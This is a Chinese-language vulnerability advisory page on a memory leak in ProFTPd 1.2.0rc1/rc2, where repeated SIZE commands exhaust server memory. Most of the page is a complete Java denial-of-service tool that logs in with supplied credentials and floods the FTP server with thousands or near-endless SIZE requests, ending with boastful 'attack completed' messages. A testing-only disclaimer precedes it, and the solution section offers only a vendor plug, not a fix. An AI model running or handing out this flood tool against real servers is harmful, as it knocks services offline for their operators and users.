ProFTPd 远程拒绝服务漏洞 (APP,缺陷) ：当 ProFTPd 执行 SIZE FTP 命令时会引起内存泄露漏洞。如果发送更多的SIZE 命令将引起拒绝服务攻击。以下是详细内容。
涉及程序：
ProFTPd
描述：
ProFTPd 内存泄露引起拒绝服务攻击
详细：
ProFTPd 是一款非常流行的 FTP 服务器。发现它存在一个安全漏洞，允许恶意用户对它进行拒绝服务攻击。
当 ProFTPd 执行 SIZE FTP 命令时会引起内存泄露漏洞，如果发送大约5000次 SIZE FTP 命令到服务器中可能引起 ProFTPd 耗费超过300KB的内存。如果发送更多的SIZE 命令将引起拒绝服务攻击。
以下代码仅仅用来测试和研究这个漏洞，如果您将其用于不正当的途径请后果自负
复制
*/ import java.net.*; import java.io.*; class TCPconnection { public TCPconnection (String hostname, int portnumber) throws Exception { Socket s = doaSocket(hostname, portnumber); br = new BufferedReader (new InputStreamReader (s.getInputStream())); ps = new PrintStream (s.getOutputStream()); } public String readLine() throws Exception { String s; try { s = br.readLine(); } catch (IOException ioe) { System.out.println("TCP Error ... it's a little hax0r exception ;-)"); throw new Exception ("\nInput Error: I/O Error"); } return s; } public void println(String s) { ps.println(s); } private Socket doaSocket(String hostname, int portnumber) throws Exception { Socket s = null; int attempts = 0; while (s == null && attempts try { s = new Socket(hostname, portnumber); } catch (UnknownHostException uhe) { System.err.println("It was no posible to establish the TCP connection.\n" + "Reason: unknown hostname " + hostname + ". Here is the Exception:"); throw new Exception("\nConnection Error: " + "unknown hostname"); } catch (IOException ioe) { System.err.println("The connection was not accomplished due to an I/O Error: trying it again ..."); } attempts++; } if (s == null) throw new IOException("\nThe connection was not accomplished due to an I/O Error: trying it again ..."); else return s; } private final int maxattempts = 5; private BufferedReader br; private PrintStream ps; } class proftpDoS { public static void main(String[] arg) throws Exception { InputStreamReader isr; BufferedReader tcld; String hostnamez, username, password, file, s1, option; int i, j, k; isr = new InputStreamReader(System.in); tcld = new BufferedReader(isr); System.out.println("ProFTPd DoS by JeT-Li -The Wushu Master-"); System.out.println("Code in an attempt to solve Fermat Last's Theoreme"); hostnamez = ""; while (hostnamez.length()==0) { System.out.print("Please enter the hostname/IP: "); hostnamez = tcld.readLine(); } username = ""; while (username.length()==0) { System.out.print("Enter the username: "); username = tcld.readLine(); } password = ""; while (password.length()==0) { System.out.print("Enter the password for that username: "); password = tcld.readLine(); } file = ""; while (file.length()==0) { System.out.print("Enter a valid filename on the FTP \n(with correct path of course ;-): "); file = tcld.readLine(); } System.out.println("Choose one of this options; insert only the NUMBER, i.e.: 1"); System.out.println("1) Request 10000 size's to the server (it may be enough)"); System.out.println("2) \"No pain no gain\" (pseudo-eternal requests, ey it may be harm ;-P)"); System.out.print("Option: "); option = tcld.readLine(); k = Integer.parseInt(option); while (!(k==1 || k==2)) { System.out.print("Option not valid, please try again: "); option = tcld.readLine(); k = Integer.parseInt(option); } TCPconnection tc = new TCPconnection(hostnamez, 21); tc.println("user " + username); tc.println("pass " + password); if (k==1) { for(i=0;i<10000;i++) tc.println("size " + file); } else if (k==2) { for(i=1;i<100;i++) for(j=2;j<((int)Math.pow(j,i ));j++) tc.println("size " + file); } tc.println("quit"); s1 = tc.readLine(); while (s1!=null) { s1 = tc.readLine(); System.out.println("Attack completed ... as one of my friends says:"); System.out.println("Hack just r0cks ;-)"); } } }
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
受影响的系统：
ProFTPd 1.2.0rc1
ProFTPd 1.2.0rc2
解决方案：
CNNS 为您提供完善的网络安全服务。
【编辑推荐】